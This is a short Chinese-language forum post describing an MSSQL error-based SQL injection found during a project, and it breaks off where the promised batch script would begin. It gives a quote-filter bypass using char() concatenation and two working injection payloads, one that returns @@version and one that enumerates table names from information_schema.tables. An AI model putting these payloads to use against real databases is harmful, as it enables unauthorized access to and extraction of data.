导航

mssql 报错注入 批量获取表名和列名脚本分享

#1
最近项目发现一次mssql注入,sqlmap可以正常获取数据库但是不能获取表名和列名

测试发现是过滤了单引号。通过char(xx)+char(xx) 绕过单引号。是azure上的 没有这个表Master..SysDatabases
payload 如下 type=(SELECT (CASE WHEN (6778=6778) THEN (Select @@version) ELSE CHAR(48) END))

返回结果,




获取表名原理(CASE WHEN (6778=6778) THEN (SELECT TOP 1 table_name FROM information_schema.tables where table_name != char(117) ) ELSE CHAR(48) END)

写个批量获取脚本 代码如下<
web&nbsp;security